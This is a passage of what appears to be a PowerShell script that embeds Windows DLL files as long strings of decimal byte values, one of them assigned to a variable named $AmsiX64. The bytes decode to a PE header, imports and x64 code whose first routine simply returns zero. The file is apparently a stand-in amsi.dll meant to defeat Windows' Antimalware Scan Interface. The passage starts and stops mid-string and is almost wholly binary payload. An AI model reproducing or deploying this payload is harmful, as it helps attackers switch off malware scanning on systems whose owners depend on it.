105 116 0 23 0 95 99 101 120 105 116 0 0 97 112 105 45 109 115 45 119 105 110 45 99 114 116 45 114 117 110 116 105 109 101 45 108 49 45 49 45 48 46 100 108 108 0 130 5 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101 114 0 0 67 5 83 101 116 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101 114 0 9 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 0 97 5 84 101 114 109 105 110 97 116 101 80 114 111 99 101 115 115 0 0 109 3 73 115 80 114 111 99 101 115 115 111 114 70 101 97 116 117 114 101 80 114 101 115 101 110 116 0 45 4 81 117 101 114 121 80 101 114 102 111 114 109 97 110 99 101 67 111 117 110 116 101 114 0 10 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 73 100 0 14 2 71 101 116 67 117 114 114 101 110 116 84 104 114 101 97 100 73 100 0 0 214 2 71 101 116 83 121 115 116 101 109 84 105 109 101 65 115 70 105 108 101 84 105 109 101 0 75 3 73 110 105 116 105 97 108 105 122 101 83 76 105 115 116 72 101 97 100 0 103 3 73 115 68 101 98 117 103 103 101 114 80 114 101 115 101 110 116 0 75 69 82 78 69 76 51 50 46 100 108 108 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 177 25 191 68 78 230 64 187 255 255 255 255 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 54 0 0 0 73 0 0 0 76 0 0 0 12 0 0 0 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 24 0 0 0 24 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 2 0 0 0 48 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 9 4 0 0 72 0 0 0 96 80 0 0 125 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 60 63 120 109 108 32 118 101 114 115 105 111 110 61 39 49 46 48 39 32 101 110 99 111 100 105 110 103 61 39 85 84 70 45 56 39 32 115 116 97 110 100 97 108 111 110 101 61 39 121 101 115 39 63 62 13 10 60 97 115 115 101 109 98 108 121 32 120 109 108 110 115 61 39 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 49 39 32 109 97 110 105 102 101 115 116 86 101 114 115 105 111 110 61 39 49 46 48 39 62 13 10 32 32 60 116 114 117 115 116 73 110 102 111 32 120 109 108 110 115 61 34 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 51 34 62 13 10 32 32 32 32 60 115 101 99 117 114 105 116 121 62 13 10 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 69 120 101 99 117 116 105 111 110 76 101 118 101 108 32 108 101 118 101 108 61 39 97 115 73 110 118 111 107 101 114 39 32 117 105 65 99 99 101 115 115 61 39 102 97 108 115 101 39 32 47 62 13 10 32 32 32 32 32 32 60 47 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 60 47 115 101 99 117 114 105 116 121 62 13 10 32 32 60 47 116 114 117 115 116 73 110 102 111 62 13 10 60 47 97 115 115 101 109 98 108 121 62 13 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 16 0 0 12 1 0 0 7 48 108 48 155 48 171 48 194 48 211 48 228 48 233 48 2 49 7 49 20 49 97 49 126 49 136 49 150 49 168 49 189 49 251 49 212 50 7 51 85 51 94 51 105 51 112 51 144 51 150 51 156 51 162 51 168 51 174 51 181 51 188 51 195 51 202 51 209 51 216 51 223 51 231 51 239 51 247 51 3 52 12 52 17 52 23 52 33 52 43 52 59 52 75 52 91 52 100 52 201 52 121 53 170 53 249 53 12 54 31 54 43 54 59 54 76 54 114 54 135 54 142 54 148 54 166 54 176 54 17 55 30 55 69 55 77 55 102 55 160 55 187 55 199 55 214 55 223 55 236 55 27 56 35 56 46 56 52 56 58 56 70 56 76 56 111 56 160 56 75 57 106 57 116 57 133 57 146 57 151 57 189 57 194 57 231 57 241 57 14 58 91 58 96 58 115 58 129 58 156 58 167 58 54 59 63 59 71 59 142 59 157 59 164 59 218 59 227 59 240 59 251 59 4 60 19 60 30 60 36 60 42 60 48 60 54 60 60 60 66 60 72 60 78 60 84 60 90 60 96 60 102 60 108 60 114 60 0 0 0 32 0 0 32 0 0 0 112 48 164 48 168 48 92 49 96 49 104 49 48 52 80 52 108 52 112 52 140 52 144 52 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" $AmsiX64 = "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10 36 0 0 0 0 0 0 0 148 172 98 253 208 205 12 174 208 205 12 174 208 205 12 174 217 181 159 174 210 205 12 174 190 150 13 175 211 205 12 174 190 150 15 175 210 205 12 174 190 150 9 175 216 205 12 174 190 150 8 175 217 205 12 174 13 50 199 174 210 205 12 174 208 205 13 174 240 205 12 174 2 150 4 175 209 205 12 174 2 150 243 174 209 205 12 174 2 150 14 175 209 205 12 174 82 105 99 104 208 205 12 174 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 69 0 0 100 134 7 0 136 29 62 87 0 0 0 0 0 0 0 0 240 0 34 32 11 2 14 0 0 16 0 0 0 28 0 0 0 0 0 0 160 19 0 0 0 16 0 0 0 0 0 128 1 0 0 0 0 16 0 0 0 2 0 0 6 0 0 0 0 0 0 0 6 0 0 0 0 0 0 0 0 128 0 0 0 4 0 0 0 0 0 0 2 0 96 1 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0 108 38 0 0 80 0 0 0 0 96 0 0 224 1 0 0 0 64 0 0 176 1 0 0 0 0 0 0 0 0 0 0 0 112 0 0 24 0 0 0 112 33 0 0 112 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 224 33 0 0 148 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 248 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0 0 211 14 0 0 0 16 0 0 0 16 0 0 0 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 96 46 114 100 97 116 97 0 0 128 10 0 0 0 32 0 0 0 12 0 0 0 20 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 100 97 116 97 0 0 0 64 6 0 0 0 48 0 0 0 2 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 192 46 112 100 97 116 97 0 0 176 1 0 0 0 64 0 0 0 2 0 0 0 34 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 103 102 105 100 115 0 0 16 0 0 0 0 80 0 0 0 2 0 0 0 36 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 115 114 99 0 0 0 224 1 0 0 0 96 0 0 0 2 0 0 0 38 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 101 108 111 99 0 0 24 0 0 0 0 112 0 0 0 2 0 0 0 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 66 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 51 192 195 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 102 102 15 31 132 0 0 0 0 0 72 59 13 217 31 0 0 242 117 18 72 193 193 16 102 247 193 255 255 242 117 2 242 195 72 193 201 16 233 211 3 0 0 204 204 204 72 131 236 40 133 210 116 57 131 234 1 116 40 131 234 1 116 22 131 250 1 116 10 184 1 0 0 0 72 131 196 40 195 232 142 5 0 0 235 5 232 95 5 0 0 15 182 192 72 131 196 40 195 73 139 208 72 131 196 40 233 15 0 0 0 77 133 192 15 149 193 72 131 196 40 233 44 1 0 0 72 137 92 36 8 72 137 116 36 16 72 137 124 36 32 65 86 72 131 236 32 72 139 242 76 139 241 51 201 232 2 6 0 0 132 192 117 7 51 192 233 232 0 0 0 232 150 4 0 0 138 216 136 68 36 64 64 183 1 131 61 234 36 0 0 0 116 10 185 7 0 0 0 232 62 9 0 0 199 5 212 36 0 0 1 0 0 0 232 199 4 0 0 132 192 116 103 232 110 10 0 0 72 141 13 179 10 0 0 232 6 8 0 0 232 197 8 0 0 72 141 13 206 8 0 0 232 245 7 0 0 232 224 8 0 0 72 141 21 253 15 0 0 72 141 13 238 15 0 0 232 213 12 0 0 133 192 117 41 232 96 4 0 0 132 192 116 32 72 141 21 205 15 0 0 72 141 13 190 15 0 0 232 175 12 0 0 199 5 103 36 0 0 2 0 0 0 64 50 255 138 203 232 9 7 0 0 64 132 255 15 133 78 255 255 255 232 167 8 0 0 72 139 216 72 131 56 0 116 36 72 139 200 232 78 6 0 0 132 192 116 24 72 139 27 72 139 203 232 111 10 0 0 76 139 198 186 2 0 0 0 73 139 206 255 211 255 5 156 30 0 0 184 1 0 0 0 72 139 92 36 48 72 139 116 36 56 72 139 124 36 72 72 131 196 32 65 94 195 204 72 137 92 36 8 72 137 116 36 24 87 72 131 236 32 64 138 241 139 5 104 30 0 0 51 219 133 192 127 4 51 192 235 80 255 200 137 5 86 30 0 0 232 109 3 0 0 64 138 248 136 68 36 56 131 61 195 35 0 0 2 116 10 185 7 0 0 0 232 23 8 0 0 232 102 4 0 0 137 29 172 35 0 0 232 139 4 0 0 64 138 207 232 75 6 0 0 51 210 64 138 206 232 101 6 0 0 132 192 15 149 195 139 195 72 139 92 36 48 72 139 116 36 64 72 131 196 32 95 195 204 204 72 139 196 72 137 88 32 76 137 64 24 137 80 16 72 137 72 8 86 87 65 86 72 131 236 64 77 139 240 139 250 72 139 241 141 66 255 131 248 1 119 46 232 217 0 0 0 139 216 137 68 36 48 133 192 15 132 179 0 0 0 77 139 198 139 215 72 139 206 232 182 253 255 255 139 216 137 68 36 48 133 192 15 132 152 0 0 0 131 255 1 117 8 72 139 206 232 55 11 0 0 77 139 198 139 215 72 139 206 232 74 253 255 255 139 216 137 68 36 48 131 255 1 117 52 133 192 117 39 77 139 198 51 210 72 139 206 232 46 253 255 255 77 139 198 51 210 72 139 206 232 101 253 255 255 77 139 198 51 210 72 139 206 232 96 0 0 0 131 255 1 117 4 133 219 116 4 133 255 117 12 72 139 206 232 229 10 0 0 133 255 116 5 131 255 3 117 42 77 139 198 139 215 72 139 206 232 45 253 255 255 139 216 137 68 36 48 133 192 116 19 77 139 198 139 215 72 139 206 232 30 0 0 0 139 216 137 68 36 48 235 6 51 219 137 92 36 48 139 195 72 139 92 36 120 72 131 196 64 65 94 95 94 195 72 137 92 36 8 72 137 108 36 16 72 137 116 36 24 87 72 131 236 32 72 139 29 233 13 0 0 73 139 248 139 242 72 139 233 72 133 219 117 5 141 67 1 235 18 72 139 203 232 127 8 0 0 76 139 199 139 214 72 139 205 255 211 72 139 92 36 48 72 139 108 36 56 72 139 116 36 64 72 131 196 32 95 195 72 137 92 36 8 72 137 116 36 16 87 72 131 236 32 73 139 248 139 218 72 139 241 131 250 1 117 5 232 99 5 0 0 76 139 199 139 211 72 139 206 72 139 92 36 48 72 139 116 36 56 72 131 196 32 95 233 103 254 255 255 204 204 204 64 83 72 131 236 32 72 139 217 51 201 255 21 119 12 0 0 72 139 203 255 21 6 12 0 0 255 21 32 12 0 0 72 139 200 186 9 4 0 192 72 131 196 32 91 72 255 37 76 12 0 0 72 137 76 36 8 72 131 236 56 185 23 0 0 0 232 13 10 0 0 133 192 116 7 185 2 0 0 0 205 41 72 141 13 183 28 0 0 232 170 0 0 0 72 139 68 36 56 72 137 5 158 29 0 0 72 141 68 36 56 72 131 192 8 72 137 5 46 29 0 0 72 139 5 135 29 0 0 72 137 5 248 27 0 0 72 139 68 36 64 72 137 5 252 28 0 0 199 5 210 27 0 0 9 4 0 192 199 5 204 27 0 0 1 0 0 0 199 5 214 27 0 0 1 0 0 0 184 8 0 0 0 72 107 192 0 72 141 13 206 27 0 0 72 199 4 1 2 0 0 0 184 8 0 0 0 72 107 192 0 72 139 13 70 27 0 0 72 137 76 4 32 184 8 0 0 0 72 107 192 1 72 139 13 57 27 0 0 72 137 76 4 32 72 141 13 125 12 0 0 232 0 255 255 255 72 131 196 56 195 204 204 204 64 83 86 87 72 131 236 64 72 139 217 255 21 31 11 0 0 72 139 179 248 0 0 0 51 255 69 51 192 72 141 84 36 96 72 139 206 255 21 253 10 0 0 72 133 192 116 57 72 131 100 36 56 0 72 141 76 36 104 72 139 84 36 96 76 139 200 72 137 76 36 48 76 139 198 72 141 76 36 112 72 137 76 36 40 51 201 72 137 92 36 32 255 21 190 10 0 0 255 199 131 255 2 124 177 72 131 196 64 95 94 91 195 204 204 204 72 131 236 40 232 103 8 0 0 133 192 116 33 101 72 139 4 37 48 0 0 0 72 139 72 8 235 5 72 59 200 116 20 51 192 240 72 15 177 13 64 32 0 0 117 238 50 192 72 131 196 40 195 176 1 235 247 204 204 204 72 131 236 40 232 43 8 0 0 133 192 116 7 232 94 6 0 0 235 5 232 95 8 0 0 176 1 72 131 196 40 195 72 131 236 40 51 201 232 65 1 0 0 132 192 15 149 192 72 131 196 40 195 204 204 204 72 131 236 40 232 99 8 0 0 132 192 117 4 50 192 235 18 232 86 8 0 0 132 192 117 7 232 77 8 0 0 235 236 176 1 72 131 196 40 195 72 131 236 40 232 59 8 0 0 232 54 8 0 0 176 1 72 131 196 40 195 204 204 204 72 137 92 36 8 72 137 108 36 16 72 137 116 36 24 87 72 131 236 32 73 139 249 73 139 240 139 218 72 139 233 232 152 7 0 0 133 192 117 23 131 251 1 117 18 72 139 207 232 187 5 0 0 76 139 198 51 210 72 139 205 255 215 72 139 84 36 88 139 76 36 80 72 139 92 36 48 72 139 108 36 56 72 139 116 36 64 72 131 196 32 95 233 153 7 0 0 204 204 204 72 131 236 40 232 79 7 0 0 133 192 116 16 72 141 13 72 31 0 0 72 131 196 40 233 145 7 0 0 232 106 249 255 255 133 192 117 5 232 143 7 0 0 72 131 196 40 195 72 131 236 40 51 201 232 141 7 0 0 72 131 196 40 233 132 7 0 0 64 83 72 131 236 32 15 182 5 59 31 0 0 133 201 187 1 0 0 0 15 68 195 136 5 43 31 0 0 232 46 5 0 0 232 93 7 0 0 132 192 117 4 50 192 235 20 232 80 7 0 0 132 192 117 9 51 201 232 69 7 0 0 235 234 138 195 72 131 196 32 91 195 204 204 204 72 137 92 36 8 85 72 139 236 72 131 236 64 139 217 131 249 1 15 135 166 0 0 0 232 171 6 0 0 133 192 116 43 133 219 117 39 72 141 13 160 30 0 0 232 225 6 0 0 133 192 116 4 50 192 235 122 72 141 13 164 30 0 0 232 205 6 0 0 133 192 15 148 192 235 103 72 139 21 169 24 0 0 73 131 200 255 139 194 185 64 0 0 0 131 224 63 43 200 176 1 73 211 200 76 51 194 76 137 69 224 76 137 69 232 15 16 69 224 76 137 69 240 242 15 16 77 240 15 17 5 69 30 0 0 76 137 69 224 76 137 69 232 15 16 69 224 76 137 69 240 242 15 17 13 61 30 0 0 242 15 16 77 240 15 17 5 57 30 0 0 242 15 17 13 65 30 0 0 72 139 92 36 80 72 131 196 64 93 195 185 5 0 0 0 232 84 2 0 0 204 204 204 204 72 131 236 24 76 139 193 184 77 90 0 0 102 57 5 29 232 255 255 117 124 72 99 5 80 232 255 255 72 141 21 13 232 255 255 72 141 12 16 129 57 80 69 0 0 117 98 184 11 2 0 0 102 57 65 24 117 87 76 43 194 15 183 65 20 72 141 81 24 72 3 208 15 183 65 6 72 141 12 128 76 141 12 202 72 137 20 36 73 59 209 116 24 139 74 12 76 59 193 114 10 139 66 8 3 193 76 59 192 114 8 72 131 194 40 235 223 51 210 72 133 210 117 4 50 192 235 23 247 66 36 0 0 0 128 116 4 50 192 235 10 176 1 235 6 50 192 235 2 50 192 72 131 196 24 195 64 83 72 131 236 32 138 217 232 83 5 0 0 51 210 133 192 116 11 132 219 117 7 72 135 21 62 29 0 0 72 131 196 32 91 195 64 83 72 131 236 32 128 61 99 29 0 0 0 138 217 116 4 132 210 117 14 138 203 232 144 5 0 0 138 203 232 137 5 0 0 176 1 72 131 196 32 91 195 204 64 83 72 131 236 32 72 139 21 55 23 0 0 72 139 217 139 202 72 51 21 251 28 0 0 131 225 63 72 211 202 72 131 250 255 117 10 72 139 203 232 63 5 0 0 235 15 72 139 211 72 141 13 219 28 0 0 232 34 5 0 0 51 201 133 192 72 15 68 203 72 139 193 72 131 196 32 91 195 204 72 131 236 40 232 167 255 255 255 72 247 216 27 192 247 216 255 200 72 131 196 40 195 204 72 137 92 36 32 85 72 139 236 72 131 236 32 72 131 101 24 0 72 187 50 162 223 45 153 43 0 0 72 139 5 185 22 0 0 72 59 195 117 111 72 141 77 24 255 21 226 6 0 0 72 139 69 24 72 137 69 16 255 21 220 6 0 0 139 192 72 49 69 16 255 21 216 6 0 0 139 192 72 141 77 32 72 49 69 16 255 21 208 6 0 0 139 69 32 72 141 77 16 72 193 224 32 72 51 69 32 72 51 69 16 72 51 193 72 185 255 255 255 255 255 255 0 0 72 35 193 72 185 51 162 223 45 153 43 0 0 72 59 195 72 15 68 193 72 137 5 69 22 0 0 72 139 92 36 72 72 247 208 72 137 5 62 22 0 0 72 131 196 32 93 195 72 141 13 57 28 0 0 72 255 37 82 6 0 0 204 204 72 141 13 41 28 0 0 233 6 4 0 0 72 141 5 45 28 0 0 195 72 141 5 45 28 0 0 195 72 131 236 40 232 231 255 255 255 72 131 8 4 232 230 255 255 255 72 131 8 2 72 131 196 40 195 204 72 141 5 25 28 0 0 195 72 137 92 36 8 85 72 141 172 36 64 251 255 255 72 129 236 192 5 0 0 139 217 185 23 0 0 0 232 243 3 0 0 133 192 116 4 139 203 205 41 131 37 224 27 0 0 0 72 141 77 240 51 210 65 184 208 4 0 0 232 151 3 0 0 72 141 77 240 255 21 173 5 0 0 72 139 157 232 0 0 0 72 141 149 216 4 0 0 72 139 203 69 51 192 255 21 139 5 0 0 72 133 192 116 60 72 131 100 36 56 0 72 141 141 224 4 0 0 72 139 149 216 4 0 0 76 139 200 72 137 76 36 48 76 139 195 72 141 141 232 4 0 0 72 137 76 36 40 72 141 77 240 72 137 76 36 32 51 201 255 21 66 5 0 0 72 139 133 200 4 0 0 72 141 76 36 80 72 137 133 232 0 0 0 51 210 72 141 133 200 4 0 0 65 184 152 0 0 0 72 131 192 8 72 137 133 136 0 0 0 232 0 3 0 0 72 139 133 200 4 0 0 72 137 68 36 96 199 68 36 80 21 0 0 64 199 68 36 84 1 0 0 0 255 21 14 5 0 0 131 248 1 72 141 68 36 80 72 137 68 36 64 72 141 69 240 15 148 195 72 137 68 36 72 51 201 255 21 45 5 0 0 72 141 76 36 64 255 21 186 4 0 0 133 192 117 10 246 219 27 192 33 5 220 26 0 0 72 139 156 36 208 5 0 0 72 129 196 192 5 0 0 93 195 204 204 204 72 137 92 36 8 72 137 116 36 16 87 72 131 236 32 72 141 29 154 9 0 0 72 141 53 147 9 0 0 235 22 72 139 59 72 133 255 116 10 72 139 207 232 105 0 0 0 255 215 72 131 195 8 72 59 222 114 229 72 139 92 36 48 72 139 116 36 56 72 131 196 32 95 195 204 204 72 137 92 36 8 72 137 116 36 16 87 72 131 236 32 72 141 29 94 9 0 0 72 141 53 87 9 0 0 235 22 72 139 59 72 133 255 116 10 72 139 207 232 29 0 0 0 255 215 72 131 195 8 72 59 222 114 229 72 139 92 36 48 72 139 116 36 56 72 131 196 32 95 195 204 204 72 255 37 241 4 0 0 204 72 137 92 36 16 85 72 139 236 72 131 236 32 131 101 232 0 51 201 51 192 199 5 245 19 0 0 2 0 0 0 15 162 68 139 193 199 5 226 19 0 0 1 0 0 0 65 129 240 110 116 101 108 68 139 202 65 129 241 105 110 101 73 68 139 210 69 11 200 139 211 129 242 71 101 110 117 68 139 216 68 11 202 184 1 0 0 0 65 15 148 192 129 241 99 65 77 68 129 243 65 117 116 104 65 129 242 101 110 116 105 65 11 218 11 217 65 15 148 194 51 201 15 162 68 139 201 137 69 240 69 132 192 68 137 77 248 68 139 5 156 25 0 0 139 200 137 93 244 137 85 252 116 82 72 131 13 118 19 0 0 255 65 131 200 4 37 240 63 255 15 68 137 5 122 25 0 0 61 192 6 1 0 116 40 61 96 6 2 0 116 33 61 112 6 2 0 116 26 5 176 249 252 255 131 248 32 119 27 72 187 1 0 1 0 1 0 0 0 72 15 163 195 115 11 65 131 200 1 68 137 5 64 25 0 0 69 132 210 116 25 129 225 0 15 240 15 129 249 0 15 96 0 124 11 65 131 200 4 68 137 5 34 25 0 0 184 7 0 0 0 137 85 224 68 137 77 228 68 59 216 124 36 51 201 15 162 137 69 240 137 93 244 137 77 248 137 85 252 137 93 232 15 186 227 9 115 11 65 131 200 2 68 137 5 237 24 0 0 65 15 186 225 20 115 110 199 5 192 18 0 0 2 0 0 0 199 5 186 18 0 0 6 0 0 0 65 15 186 225 27 115 83 65 15 186 225 28 115 76 51 201 15 1 208 72 193 226 32 72 11 208 72 137 85 16 72 139 69 16 36 6 60 6 117 50 139 5 140 18 0 0 131 200 8 199 5 123 18 0 0 3 0 0 0 246 69 232 32 137 5 117 18 0 0 116 19 131 200 32 199 5 98 18 0 0 5 0 0 0 137 5 96 18 0 0 51 192 72 139 92 36 56 72 131 196 32 93 195 204 204 204 51 192 57 5 92 18 0 0 15 149 192 195 194 0 0 204 204 204 204 204 255 37 178 2 0 0 255 37 164 2 0 0 255 37 150 2 0 0 255 37 136 2 0 0 255 37 122 2 0 0 255 37 228 2 0 0 255 37 214 2 0 0 255 37 200 2 0 0 255 37 186 2 0 0 255 37 172 2 0 0 255 37 158 2 0 0 255 37 144 2 0 0 255 37 130 2 0 0 255 37 116 2 0 0 255 37 30 2 0 0 204 204 176 1 195 204 204 204 204 204 204 204 102 102 15 31 132 0 0 0 0 0 255 224 64 85 72 131 236 32 72 139 234 138 77 64 72 131 196 32 93 233 4 250 255 255 204 64 85 72 131 236 32 72 139 234 232 45 248 255 255 138 77 56 72 131 196 32 93 233 232 249 255 255 204 64 85 72 131 236 48 72 139 234 72 139 1 139 16 72 137 76 36 40 137 84 36 32 76 141 13 161 241 255 255 76 139 69 112 139 85 104 72 139 77 96 232 93 247 255 255 144 72 131 196 48 93 195 204 64 85 72 139 234 72 139 1 51 201 129 56 5 0 0 192 15 148 193 139 193 93 195 204 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 